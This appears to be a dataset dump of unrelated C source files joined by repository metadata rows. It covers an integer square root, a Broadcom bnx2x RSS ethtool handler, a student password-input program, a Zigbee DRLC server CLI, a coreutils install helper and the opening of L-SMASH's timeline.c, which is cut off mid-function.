* Initially published in usenet comp.lang.c, Thu, 28 Jan 1993 08:35:23 GMT
*/
int32_t sqrt_int32( int32_t v )
{
uint32_t t, q, b, r;
r = v; // r = v - x²
b = 0x40000000; // a²
q = 0; // 2ax
while( b > 0 )
{
t = q + b; // t = 2ax + a²
q >>= 1; // if a' = a/2, then q' = q/2
if( r >= t ) // if (v - x²) >= 2ax + a²
{
r -= t; // r' = (v - x²) - (2ax + a²)
q += b; // if x' = (x + a) then ax' = ax + a², thus q' = q' + b
}
b >>= 2; // if a' = a/2, then b' = b / 4
}
return q;
}
| [
"noreply@github.com"
] | sergtello.noreply@github.com |
33b9fae59db98cce76417326d2b5693a43164dca | 976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f | /source/linux/drivers/net/ethernet/broadcom/bnx2x/extr_bnx2x_ethtool.c_bnx2x_set_rss_flags.c | ef244058b3e937fdfd552bca1435bd940ac52c2e | [] | no_license | isabella232/AnghaBench | 7ba90823cf8c0dd25a803d1688500eec91d1cf4e | 9a5f60cdc907a0475090eef45e5be43392c25132 | refs/heads/master | 2023-04-20T09:05:33.024569 | 2021-05-07T18:36:26 | 2021-05-07T18:36:26 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,829 | c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__ ;
/* Type definitions */
struct ethtool_rxnfc {int flow_type; int data; } ;
struct TYPE_2__ {int udp_rss_v4; int udp_rss_v6; } ;
struct bnx2x {TYPE_1__ rss_conf_obj; int /*<<< orphan*/ state; } ;
/* Variables and functions */
#define AH_ESP_V4_FLOW 143
#define AH_ESP_V6_FLOW 142
#define AH_V4_FLOW 141
#define AH_V6_FLOW 140
int /*<<< orphan*/ BNX2X_MSG_ETHTOOL ;
int /*<<< orphan*/ BNX2X_STATE_OPEN ;
int /*<<< orphan*/ CHIP_IS_E1x (struct bnx2x*) ;
int /*<<< orphan*/ DP (int /*<<< orphan*/ ,char*,...) ;
int EINVAL ;
#define ESP_V4_FLOW 139
#define ESP_V6_FLOW 138
#define ETHER_FLOW 137
#define IPV4_FLOW 136
#define IPV6_FLOW 135
#define IP_USER_FLOW 134
int RXH_IP_DST ;
int RXH_IP_SRC ;
int RXH_L4_B_0_1 ;
int RXH_L4_B_2_3 ;
#define SCTP_V4_FLOW 133
#define SCTP_V6_FLOW 132
#define TCP_V4_FLOW 131
#define TCP_V6_FLOW 130
#define UDP_V4_FLOW 129
#define UDP_V6_FLOW 128
int bnx2x_rss (struct bnx2x*,TYPE_1__*,int,int) ;
__attribute__((used)) static int bnx2x_set_rss_flags(struct bnx2x *bp, struct ethtool_rxnfc *info)
{
int udp_rss_requested;
DP(BNX2X_MSG_ETHTOOL,
"Set rss flags command parameters: flow type = %d, data = %llu\n",
info->flow_type, info->data);
switch (info->flow_type) {
case TCP_V4_FLOW:
case TCP_V6_FLOW:
/* For TCP only 4-tupple hash is supported */
if (info->data ^ (RXH_IP_SRC | RXH_IP_DST |
RXH_L4_B_0_1 | RXH_L4_B_2_3)) {
DP(BNX2X_MSG_ETHTOOL,
"Command parameters not supported\n");
return -EINVAL;
}
return 0;
case UDP_V4_FLOW:
case UDP_V6_FLOW:
/* For UDP either 2-tupple hash or 4-tupple hash is supported */
if (info->data == (RXH_IP_SRC | RXH_IP_DST |
RXH_L4_B_0_1 | RXH_L4_B_2_3))
udp_rss_requested = 1;
else if (info->data == (RXH_IP_SRC | RXH_IP_DST))
udp_rss_requested = 0;
else
return -EINVAL;
if (CHIP_IS_E1x(bp) && udp_rss_requested) {
DP(BNX2X_MSG_ETHTOOL,
"57710, 57711 boards don't support RSS according to UDP 4-tuple\n");
return -EINVAL;
}
if ((info->flow_type == UDP_V4_FLOW) &&
(bp->rss_conf_obj.udp_rss_v4 != udp_rss_requested)) {
bp->rss_conf_obj.udp_rss_v4 = udp_rss_requested;
DP(BNX2X_MSG_ETHTOOL,
"rss re-configured, UDP 4-tupple %s\n",
udp_rss_requested ? "enabled" : "disabled");
if (bp->state == BNX2X_STATE_OPEN)
return bnx2x_rss(bp, &bp->rss_conf_obj, false,
true);
} else if ((info->flow_type == UDP_V6_FLOW) &&
(bp->rss_conf_obj.udp_rss_v6 != udp_rss_requested)) {
bp->rss_conf_obj.udp_rss_v6 = udp_rss_requested;
DP(BNX2X_MSG_ETHTOOL,
"rss re-configured, UDP 4-tupple %s\n",
udp_rss_requested ? "enabled" : "disabled");
if (bp->state == BNX2X_STATE_OPEN)
return bnx2x_rss(bp, &bp->rss_conf_obj, false,
true);
}
return 0;
case IPV4_FLOW:
case IPV6_FLOW:
/* For IP only 2-tupple hash is supported */
if (info->data ^ (RXH_IP_SRC | RXH_IP_DST)) {
DP(BNX2X_MSG_ETHTOOL,
"Command parameters not supported\n");
return -EINVAL;
}
return 0;
case SCTP_V4_FLOW:
case AH_ESP_V4_FLOW:
case AH_V4_FLOW:
case ESP_V4_FLOW:
case SCTP_V6_FLOW:
case AH_ESP_V6_FLOW:
case AH_V6_FLOW:
case ESP_V6_FLOW:
case IP_USER_FLOW:
case ETHER_FLOW:
/* RSS is not supported for these protocols */
if (info->data) {
DP(BNX2X_MSG_ETHTOOL,
"Command parameters not supported\n");
return -EINVAL;
}
return 0;
default:
return -EINVAL;
}
} | [
"brenocfg@gmail.com"
] | brenocfg@gmail.com |
a94bd287eb40a208faaca4f8450e05f8a330ae1c | b43ac8831675870def4b50c798b6d6d24c461d5d | /c assignment2/c assignment1/1code19.c | 6fe8d24acb003a3527031d3f8f687db59bb49080 | [] | no_license | madhusri51998/c-language | 4cdf39d8fcecf30e5712558662fa47e01cbb2133 | bfa4e2e0d8f12f78b5c98c3b13006fa5513771a4 | refs/heads/master | 2021-05-01T10:56:34.897813 | 2018-11-17T12:59:11 | 2018-11-17T12:59:11 | 121,110,122 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 351 | c | #include<stdio.h>
#include<conio.h>
main()
{
char user_name[10],password[10],i=0,ch;
printf("user name");
scanf("%s",user_name);
printf("enter password");
for(i=0;i<10;i++)
{
ch=getch();
password[i]=ch;
ch='*';
printf("%c",ch);
}
password[i]=' ';
for(i=0;i<8;i++)
{
printf("%c",password[i]);
}
}
| [
"noreply@github.com"
] | madhusri51998.noreply@github.com |
fa105093d55566b79f3cdffb19a9160ecd5bb997 | 6e73069807b8e7ad48dc729e8068334d5b44bd60 | /src/daemon/zbdriver/silicon_labs/Simplicity-Studio-v4/developer/sdks/gecko_sdk_suite/v2.7/protocol/zigbee/app/framework/plugin/drlc-server/drlc-server-cli.c | 2951d72cb4d03e5a6b6f481a5dc52db8aaa777eb | [
"Apache-2.0"
] | permissive | AndrewGoing/gl-zigbee-sdk | 8da086cb5affd43a038b8a0d407f1b9cc470d7f8 | 94f5b41e7d2d46ce096fdd245ee9d171831c73de | refs/heads/master | 2023-08-20T23:06:33.306442 | 2021-10-08T03:31:34 | 2021-10-08T03:31:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 6,665 | c | /***************************************************************************//**
* @file
* @brief CLI for the DRLC plugin.
*******************************************************************************
* # License
* <b>Copyright 2018 Silicon Laboratories Inc. www.silabs.com</b>
*******************************************************************************
*
* The licensor of this software is Silicon Laboratories Inc. Your use of this
* software is governed by the terms of Silicon Labs Master Software License
* Agreement (MSLA) available at
* www.silabs.com/about-us/legal/master-software-license-agreement. This
* software is distributed to you in Source Code format and is governed by the
* sections of the MSLA applicable to Source Code.
*
******************************************************************************/
#include "app/framework/include/af.h"
#include "app/util/serial/command-interpreter2.h"
#include "app/framework/plugin/drlc-server/drlc-server.h"
void emberAfPluginDrlcServerPrintCommand(void);
void emberAfPluginDrlcServerSlceCommand(void);
void emberAfPluginDrlcServerSslceCommand(void);
void emberAfPluginDrlcServerCslceCommand(void);
#if !defined(EMBER_AF_GENERATE_CLI)
EmberCommandEntry emberAfPluginDrlcServerCommands[] = {
emberCommandEntryAction("print", emberAfPluginDrlcServerPrintCommand, "u", ""),
emberCommandEntryAction("slce", emberAfPluginDrlcServerSlceCommand, "uuub", ""),
emberCommandEntryAction("sslce", emberAfPluginDrlcServerSslceCommand, "vuuu", ""),
emberCommandEntryAction("cslce", emberAfPluginDrlcServerCslceCommand, "u", ""),
emberCommandEntryTerminator(),
};
#endif // EMBER_AF_GENERATE_CLI
// plugin drlc-server slce <endpoint:1> <index:1> <length:1> <load control event bytes>
// load control event bytes are expected as 23 raw bytes in the form
// {<eventId:4> <deviceClass:2> <ueg:1> <startTime:4> <duration:2> <criticalityLevel:1>
// <coolingTempOffset:1> <heatingTempOffset:1> <coolingTempSetPoint:2> <heatingTempSetPoint:2>
// <afgLoadPercentage:1> <dutyCycle:1> <eventControl:1> } all multibyte values should be
// little endian as though they were coming over the air.
// Example: plug drlc-server slce 0 23 { ab 00 00 00 ff 0f 00 00 00 00 00 01 00 01 00 00 09 1a 09 1a 0a 00 }
void emberAfPluginDrlcServerSlceCommand(void)
{
EmberAfLoadControlEvent event;
EmberStatus status;
uint8_t endpoint = (uint8_t)emberUnsignedCommandArgument(0);
uint8_t index = (uint8_t)emberUnsignedCommandArgument(1);
uint8_t length = (uint8_t)emberUnsignedCommandArgument(2);
uint8_t slceBuffer[sizeof(EmberAfLoadControlEvent)];
status = emAfGetScheduledLoadControlEvent(endpoint, index, &event);
if (status != EMBER_SUCCESS) {
emberAfDemandResponseLoadControlClusterPrintln("slce fail: 0x%x", status);
return;
}
if (length > sizeof(EmberAfLoadControlEvent)) {
emberAfDemandResponseLoadControlClusterPrintln("slce fail, length: %x, max: %x", length, sizeof(EmberAfLoadControlEvent));
return;
}
emberCopyStringArgument(3, slceBuffer, length, false);
event.eventId = emberAfGetInt32u(slceBuffer, 0, length);
event.deviceClass = emberAfGetInt16u(slceBuffer, 4, length);
event.utilityEnrollmentGroup = emberAfGetInt8u(slceBuffer, 6, length);
event.startTime = emberAfGetInt32u(slceBuffer, 7, length);
event.duration = emberAfGetInt16u(slceBuffer, 11, length);
event.criticalityLevel = emberAfGetInt8u(slceBuffer, 13, length);
event.coolingTempOffset = emberAfGetInt8u(slceBuffer, 14, length);
event.heatingTempOffset = emberAfGetInt8u(slceBuffer, 15, length);
event.coolingTempSetPoint = emberAfGetInt16u(slceBuffer, 16, length);
event.heatingTempSetPoint = emberAfGetInt16u(slceBuffer, 18, length);
event.avgLoadPercentage = emberAfGetInt8u(slceBuffer, 20, length);
event.dutyCycle = emberAfGetInt8u(slceBuffer, 21, length);
event.eventControl = emberAfGetInt8u(slceBuffer, 22, length);
event.source[0] = 0x00; //activate the event in the table
status = emAfSetScheduledLoadControlEvent(endpoint, index, &event);
emberAfDemandResponseLoadControlClusterPrintln("DRLC event scheduled on server: 0x%x", status);
}
// plugin drlc-server lce-schedule-mand <endpoint:1> <index:1> <eventId:4> <class:2> <ueg:1> <startTime:4>
// <durationMins:2> <criticalLevel:1> <eventCtrl:1>
void emberAfPluginDrlcServerScheduleMandatoryLce(void)
{
EmberAfLoadControlEvent event;
EmberStatus status;
uint8_t endpoint = (uint8_t)emberUnsignedCommandArgument(0);
uint8_t index = (uint8_t)emberUnsignedCommandArgument(1);
status = emAfGetScheduledLoadControlEvent(endpoint, index, &event);
if ( status != EMBER_SUCCESS ) {
emberAfDemandResponseLoadControlClusterPrintln("Error: Get LCE status=0x%x", status);
}
event.eventId = (uint32_t)emberUnsignedCommandArgument(2);
event.deviceClass = (uint16_t)emberUnsignedCommandArgument(3);
event.utilityEnrollmentGroup = (uint8_t) emberUnsignedCommandArgument(4);
event.startTime = (uint32_t)emberUnsignedCommandArgument(5);
event.duration = (uint16_t)emberUnsignedCommandArgument(6);
event.criticalityLevel = (uint8_t) emberUnsignedCommandArgument(7);
event.eventControl = (uint8_t) emberUnsignedCommandArgument(8);
// Optionals
event.coolingTempOffset = 0xFF;
event.heatingTempOffset = 0xFF;
event.coolingTempSetPoint = 0x8000;
event.heatingTempSetPoint = 0x8000;
event.avgLoadPercentage = 0x80;
event.dutyCycle = 0xFF;
event.source[0] = 0x00; //activate the event in the table
status = emAfSetScheduledLoadControlEvent(endpoint, index, &event);
if ( status == EMBER_SUCCESS ) {
emberAfDemandResponseLoadControlClusterPrintln("DRLC event scheduled");
} else {
emberAfDemandResponseLoadControlClusterPrintln("Error: Schedule DRLC event: 0x%x", status);
}
}
// plugin drlc-server sslce <nodeId:2> <srcEndpoint:1> <dstEndpoint:1> <index:1>
void emberAfPluginDrlcServerSslceCommand(void)
{
emAfPluginDrlcServerSlceMessage((EmberNodeId)emberUnsignedCommandArgument(0),
(uint8_t)emberUnsignedCommandArgument(1),
(uint8_t)emberUnsignedCommandArgument(2),
(uint8_t)emberUnsignedCommandArgument(3));
}
// plugin drlc-server print <endpoint:1>
void emberAfPluginDrlcServerPrintCommand(void)
{
emAfPluginDrlcServerPrintInfo((uint8_t)emberUnsignedCommandArgument(0));
}
// plugin drlc-server cslce <endpoint:1>
void emberAfPluginDrlcServerCslceCommand(void)
{
emAfClearScheduledLoadControlEvents((uint8_t)emberUnsignedCommandArgument(0));
}
| [
"feng.he@gl-inet.cn"
] | feng.he@gl-inet.cn |
8b54e75df5fbca2e7ccca01370c02b3e4c35d139 | 43124e9a583ffd4cf654b1d17c04d4b2bb5f36df | /Pretty/data/coreutils/methods-only/08-install.c | 3b565f81bdec25e876d6604baaf43700f8590129 | [] | no_license | roncoleman125/Pretty | a86d87904281e76031db47264ffb65ff6c536740 | 227c3174d9bf15016d57b3a50d3df71fa6798306 | refs/heads/master | 2020-04-15T16:53:44.581854 | 2017-10-13T11:24:59 | 2017-10-13T11:24:59 | 32,341,194 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 665 | c | /* Copy file FROM onto file TO and give TO the appropriate
attributes.
Return true if successful. */
static bool
install_file_in_file (const char *from, const char *to,
const struct cp_options *x)
{
struct stat from_sb;
if (x->preserve_timestamps && stat (from, &from_sb) != 0)
{
error (0, errno, _("cannot stat %s"), quote (from));
return false;
}
if (! copy_file (from, to, x))
return false;
if (strip_files)
strip (to);
if (x->preserve_timestamps && (strip_files || ! S_ISREG (from_sb.st_mode))
&& ! change_timestamps (&from_sb, to))
return false;
return change_attributes (to);
}
| [
"ronncoleman@gmail.com"
] | ronncoleman@gmail.com |
e5af280bd47578693245d933790f4c998ac70019 | 79453691a2d2001bd6ba9caba30e0279f03dd91f | /core/timeline.c | 1e8de446a0eb96ea08605807a6d49389d57cf489 | [
"ISC"
] | permissive | mstorsjo/l-smash | 41e2a1f11d1ae7a95a13473ac5592c49f8ebe1c0 | feb6036a47b74b318b67ac20fb2923236e2ae4a5 | refs/heads/master | 2023-08-24T04:44:56.682511 | 2014-10-11T19:08:12 | 2014-10-11T19:52:55 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 86,433 | c | /*****************************************************************************
* timeline.c:
*****************************************************************************
* Copyright (C) 2011-2014 L-SMASH project
*
* Authors: Yusuke Nakamura <muken.the.vfrmaniac@gmail.com>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*****************************************************************************/
/* This file is available under an ISC license. */
#ifdef LSMASH_DEMUXER_ENABLED
#include "common/internal.h" /* must be placed first */
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include "box.h"
#include "codecs/mp4a.h"
#include "codecs/mp4sys.h"
#include "codecs/description.h"
#define NO_RANDOM_ACCESS_POINT 0xffffffff
typedef struct
{
uint64_t data_offset;
uint64_t length;
uint32_t number; /* useless at present */
lsmash_file_t *file;
} isom_portable_chunk_t;
typedef struct
{
uint64_t pos;
uint32_t duration;
uint32_t offset;
uint32_t length;
uint32_t index;
isom_portable_chunk_t *chunk;
lsmash_sample_property_t prop;
} isom_sample_info_t;
typedef struct
{
uint64_t pos; /* position of the first sample in this bunch */
uint32_t duration; /* duration in media timescale each sample has */
uint32_t offset; /* offset between composition time and decoding time each sample has */
uint32_t length; /* data size each sample has */
uint32_t index; /* sample_description_index applied to each sample */
isom_portable_chunk_t *chunk; /* chunk samples belong to */
lsmash_sample_property_t prop; /* property applied to each sample */
uint32_t sample_count; /* number of samples in this bunch */
} isom_lpcm_bunch_t;
static const lsmash_class_t lsmash_timeline_class =
{
"timeline"
};
typedef struct isom_timeline_tag isom_timeline_t;
struct isom_timeline_tag
{
const lsmash_class_t *class;
uint32_t track_ID;
uint32_t movie_timescale;
uint32_t media_timescale;
uint32_t sample_count;
uint32_t max_sample_size;
uint32_t ctd_shift; /* shift from composition to decode timeline */
uint64_t media_duration;
uint64_t track_duration;
uint32_t last_accessed_sample_number;
uint64_t last_accessed_sample_dts;
uint32_t last_accessed_lpcm_bunch_number;
uint32_t last_accessed_lpcm_bunch_duration;
uint32_t last_accessed_lpcm_bunch_sample_count;
uint32_t last_accessed_lpcm_bunch_first_sample_number;
uint64_t last_accessed_lpcm_bunch_dts;
lsmash_entry_list_t edit_list [1]; /* list of edits */
lsmash_entry_list_t chunk_list[1]; /* list of chunks */
lsmash_entry_list_t info_list [1]; /* list of sample info */
lsmash_entry_list_t bunch_list[1]; /* list of LPCM bunch */
int (*get_dts)( isom_timeline_t *timeline, uint32_t sample_number, uint64_t *dts );
int (*get_cts)( isom_timeline_t *timeline, uint32_t sample_number, uint64_t *cts );
int (*get_sample_duration)( isom_timeline_t *timeline, uint32_t sample_number, uint32_t *sample_duration );
lsmash_sample_t *(*get_sample)( isom_timeline_t *timeline, uint32_t sample_number );
int (*get_sample_info)( isom_timeline_t *timeline, uint32_t sample_number, lsmash_sample_t *sample );
int (*get_sample_property)( isom_timeline_t *timeline, uint32_t sample_number, lsmash_sample_property_t *prop );
int (*check_sample_existence)( isom_timeline_t *timeline, uint32_t sample_number );
};
static isom_timeline_t *isom_get_timeline( lsmash_root_t *root, uint32_t track_ID )
{
if( !track_ID || !root || !root->file || !root->file->timeline )
return NULL;
for( lsmash_entry_t *entry = root->file->timeline->head; entry; entry = entry->next )
{
isom_timeline_t *timeline = (isom_timeline_t *)entry->data;
if( !timeline )
return NULL;
if( timeline->track_ID == track_ID )
return timeline;
}
return NULL;
}
static isom_timeline_t *isom_create_timeline( void )
{
isom_timeline_t *timeline = lsmash_malloc_zero( sizeof(isom_timeline_t) );
if( !timeline )
return NULL;
timeline->class = &lsmash_timeline_class;
lsmash_init_entry_list( timeline->edit_list );
lsmash_init_entry_list( timeline->chunk_list );
lsmash_init_entry_list( timeline->info_list );
lsmash_init_entry_list( timeline->bunch_list );
return timeline;
}
static void isom_destruct_timeline_direct( isom_timeline_t *timeline )
{
if( !timeline )
return;
lsmash_remove_entries( timeline->edit_list, NULL );
lsmash_remove_entries( timeline->chunk_list, NULL ); /* chunk data must be already freed. */
lsmash_remove_entries( timeline->info_list, NULL );
lsmash_remove_entries( timeline->bunch_list, NULL );
lsmash_free( timeline );
}
void isom_remove_timelines( lsmash_file_t *file )
{
if( !file
|| !file->timeline )
return;
lsmash_remove_list( file->timeline, isom_destruct_timeline_direct );
}
void lsmash_destruct_timeline( lsmash_root_t *root, uint32_t track_ID )
{
if( track_ID == 0
|| !root
|| !root->file
|| !root->file->timeline )
return;
for( lsmash_entry_t *entry = root->file->timeline->head; entry; entry = entry->next )
{
isom_timeline_t *timeline = (isom_timeline_t *)entry->data;
if( !timeline )
continue;
if( timeline->track_ID == track_ID )
{
lsmash_remove_entry_direct( root->file->timeline, entry, isom_destruct_timeline_direct );
break;
}
}
}
static void isom_get_qt_fixed_comp_audio_sample_quants
(
isom_timeline_t *timeline,
isom_sample_entry_t *description,
uint32_t *samples_per_packet,
uint32_t *constant_sample_size
)
{
isom_audio_entry_t *audio = (isom_audio_entry_t *)description;
if( audio->version == 0 )
{
uint32_t dummy;
if( !isom_get_implicit_qt_fixed_comp_audio_sample_quants( audio, samples_per_packet, constant_sample_size, &dummy ) )
{
/* LPCM */
if( !isom_is_lpcm_audio( audio ) )
lsmash_log( timeline, LSMASH_LOG_WARNING, "unsupported implicit sample table!\n" );
*samples_per_packet = 1;
*constant_sample_size = (audio->samplesize * audio->channelcount) / 8;
}
}
else if( audio->version == 1 )
{
*samples_per_packet = audio->samplesPerPacket;
*constant_sample_size = audio->bytesPerFrame;
}
else /* if( audio->version == 2 ) */
{
*samples_per_packet = audio->constLPCMFramesPerAudioPacket;
*constant_sample_size = audio->constBytesPerAudioPacket;
}
}
static int isom_is_qt_fixed_compressed_audio
(
isom_sample_entry_t *description
)
{
if( (description->manager & LSMASH_VIDEO_DESCRIPTION) || !isom_is_qt_audio( description->type ) )
return 0;
/* LPCM is a special case of fixed compression. */
return (((isom_audio_entry_t *)description)->compression_ID != QT_AUDIO_COMPRESSION_ID_VARIABLE_COMPRESSION);
}
static int isom_add_sample_info_entry( isom_timeline_t *timeline, isom_sample_info_t *src_info )
{
isom_sample_info_t *dst_info = lsmash_malloc( sizeof(isom_sample_info_t) );
if( !dst_info )
return -1;
if( lsmash_add_entry( timeline->info_list, dst_info ) )
{
lsmash_free( dst_info );
return -1;
}
*dst_info = *src_info;
return 0;
}
static int isom_add_lpcm_bunch_entry( isom_timeline_t *timeline, isom_lpcm_bunch_t *src_bunch )
{
isom_lpcm_bunch_t *dst_bunch = lsmash_malloc( sizeof(isom_lpcm_bunch_t) );
if( !dst_bunch )
return -1;
if( lsmash_add_entry( timeline->bunch_list, dst_bunch ) )
{
lsmash_free( dst_bunch );
return -1;
}
*dst_bunch = *src_bunch;
return 0;
}
static int isom_add_portable_chunk_entry( isom_timeline_t *timeline, isom_portable_chunk_t *src_chunk )
{
isom_portable_chunk_t *dst_chunk = lsmash_malloc( sizeof(isom_portable_chunk_t) );
if( !dst_chunk )
return -1;
if( lsmash_add_entry( timeline->chunk_list, dst_chunk ) )
{
lsmash_free( dst_chunk );
return -1;
}
*dst_chunk = *src_chunk;
return 0;
}
static int isom_compare_lpcm_sample_info( isom_lpcm_bunch_t *bunch, isom_sample_info_t *info )
{
return info->duration != bunch->duration
|| info->offset != bunch->offset
|| info->length != bunch->length
|| info->index != bunch->index
|| info->chunk != bunch->chunk;
}
static void isom_update_bunch( isom_lpcm_bunch_t *bunch, isom_sample_info_t *info )
{
bunch->pos = info->pos;
bunch->duration = info->duration;
bunch->offset = info->offset;
bunch->length = info->length;
bunch->index = info->index;
bunch->chunk = info->chunk;
bunch->prop = info->prop;
bunch->sample_count = 1;
}
static isom_lpcm_bunch_t *isom_get_bunch( isom_timeline_t *timeline, uint32_t sample_number )
{
if( sample_number >= timeline->last_accessed_lpcm_bunch_first_sample_number
&& sample_number < timeline->last_accessed_lpcm_bunch_first_sample_number + timeline->last_accessed_lpcm_bunch_sample_count )
/* Get from the last accessed LPCM bunch. */
return (isom_lpcm_bunch_t *)lsmash_get_entry_data( timeline->bunch_list, timeline->last_accessed_lpcm_bunch_number );
uint32_t first_sample_number_in_next_bunch;
uint32_t bunch_number = 1;
uint64_t bunch_dts;
if( timeline->last_accessed_lpcm_bunch_first_sample_number
&& timeline->last_accessed_lpcm_bunch_first_sample_number <= sample_number )
{
first_sample_number_in_next_bunch = timeline->last_accessed_lpcm_bunch_first_sample_number + timeline->last_accessed_lpcm_bunch_sample_count;
bunch_number += timeline->last_accessed_lpcm_bunch_number;
bunch_dts = timeline->last_accessed_lpcm_bunch_dts
+ timeline->last_accessed_lpcm_bunch_duration * timeline->last_accessed_lpcm_bunch_sample_count;
}
else
{
/* Seek from the first LPCM bunch. */
first_sample_number_in_next_bunch = 1;
bunch_dts = 0;
}
isom_lpcm_bunch_t *bunch = (isom_lpcm_bunch_t *)lsmash_get_entry_data( timeline->bunch_list, bunch_number++ );
if( !bunch )
return NULL;
first_sample_number_in_next_bunch += bunch->sample_count;
while( sample_number >= first_sample_number_in_next_bunch )
{
bunch_dts += bunch->duration * bunch->sample_count;
bunch = (isom_lpcm_bunch_t *)lsmash_get_entry_data( timeline->bunch_list, bunch_number++ );
if( !bunch )
return NULL;
first_sample_number_in_next_bunch += bunch->sample_count;
}
timeline->last_accessed_lpcm_bunch_dts = bunch_dts;
timeline->last_accessed_lpcm_bunch_number = bunch_number - 1;
timeline->last_accessed_lpcm_bunch_duration = bunch->duration;
timeline->last_accessed_lpcm_bunch_sample_count = bunch->sample_count;
timeline->last_accessed_lpcm_bunch_first_sample_number = first_sample_number_in_next_bunch - bunch->sample_count;
return bunch;
}
static int isom_get_dts_from_info_list( isom_timeline_t *timeline, uint32_t sample_number, uint64_t *dts )
{
if( sample_number == timeline->last_accessed_sample_number )
*dts = timeline->last_accessed_sample_dts;
else if( sample_number == 1 )
*dts = 0;
else if( sample_number == timeline->last_accessed_sample_number + 1 )
{
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, timeline->last_accessed_sample_number );
if( !info )
return -1;
*dts = timeline->last_accessed_sample_dts + info->duration;
}
else if( sample_number == timeline->last_accessed_sample_number - 1 )
{
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, timeline->last_accessed_sample_number - 1 );
if( !info )
return -1;
*dts = timeline->last_accessed_sample_dts - info->duration;
}
else
{
*dts = 0;
uint32_t distance = sample_number - 1;
lsmash_entry_t *entry;
for( entry = timeline->info_list->head; entry; entry = entry->next )
{
isom_sample_info_t *info = (isom_sample_info_t *)entry->data;
if( !info )
return -1;
if( distance-- == 0 )
break;
*dts += info->duration;
}
if( !entry )
return -1;
}
/* Note: last_accessed_sample_number is always updated together with last_accessed_sample_dts, and vice versa. */
timeline->last_accessed_sample_dts = *dts;
timeline->last_accessed_sample_number = sample_number;
return 0;
}
static int isom_get_cts_from_info_list( isom_timeline_t *timeline, uint32_t sample_number, uint64_t *cts )
{
if( isom_get_dts_from_info_list( timeline, sample_number, cts ) )
return -1;
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, sample_number );
if( !info )
return -1;
*cts = timeline->ctd_shift ? (*cts + (int32_t)info->offset) : (*cts + info->offset);
return 0;
}
static int isom_get_dts_from_bunch_list( isom_timeline_t *timeline, uint32_t sample_number, uint64_t *dts )
{
isom_lpcm_bunch_t *bunch = isom_get_bunch( timeline, sample_number );
if( !bunch )
return -1;
*dts = timeline->last_accessed_lpcm_bunch_dts + (sample_number - timeline->last_accessed_lpcm_bunch_first_sample_number) * bunch->duration;
return 0;
}
static int isom_get_cts_from_bunch_list( isom_timeline_t *timeline, uint32_t sample_number, uint64_t *cts )
{
isom_lpcm_bunch_t *bunch = isom_get_bunch( timeline, sample_number );
if( !bunch )
return -1;
*cts = timeline->last_accessed_lpcm_bunch_dts + (sample_number - timeline->last_accessed_lpcm_bunch_first_sample_number) * bunch->duration + bunch->offset;
return 0;
}
static int isom_get_sample_duration_from_info_list( isom_timeline_t *timeline, uint32_t sample_number, uint32_t *sample_duration )
{
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, sample_number );
if( !info )
return -1;
*sample_duration = info->duration;
return 0;
}
static int isom_get_sample_duration_from_bunch_list( isom_timeline_t *timeline, uint32_t sample_number, uint32_t *sample_duration )
{
isom_lpcm_bunch_t *bunch = isom_get_bunch( timeline, sample_number );
if( !bunch )
return -1;
*sample_duration = bunch->duration;
return 0;
}
static int isom_check_sample_existence_in_info_list( isom_timeline_t *timeline, uint32_t sample_number )
{
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, sample_number );
if( !info || !info->chunk )
return 0;
return !!info->chunk->file;
}
static int isom_check_sample_existence_in_bunch_list( isom_timeline_t *timeline, uint32_t sample_number )
{
isom_lpcm_bunch_t *bunch = isom_get_bunch( timeline, sample_number );
if( !bunch || !bunch->chunk )
return 0;
return !!bunch->chunk->file;
}
static lsmash_sample_t *isom_read_sample_data_from_stream
(
lsmash_file_t *file,
isom_timeline_t *timeline,
uint32_t sample_length,
uint64_t sample_pos
)
{
lsmash_sample_t *sample = lsmash_create_sample( 0 );
if( !sample )
return NULL;
lsmash_bs_t *bs = file->bs;
lsmash_bs_read_seek( bs, sample_pos, SEEK_SET );
sample->data = lsmash_bs_get_bytes( bs, sample_length );
if( !sample->data )
{
lsmash_delete_sample( sample );
return NULL;
}
return sample;
}
static lsmash_sample_t *isom_get_lpcm_sample_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number )
{
isom_lpcm_bunch_t *bunch = isom_get_bunch( timeline, sample_number );
if( !bunch
|| !bunch->chunk )
return NULL;
/* Get data of a sample from the stream. */
uint64_t sample_number_offset = sample_number - timeline->last_accessed_lpcm_bunch_first_sample_number;
uint64_t sample_pos = bunch->pos + sample_number_offset * bunch->length;
lsmash_sample_t *sample = isom_read_sample_data_from_stream( bunch->chunk->file, timeline, bunch->length, sample_pos );
if( !sample )
return NULL;
/* Get sample info. */
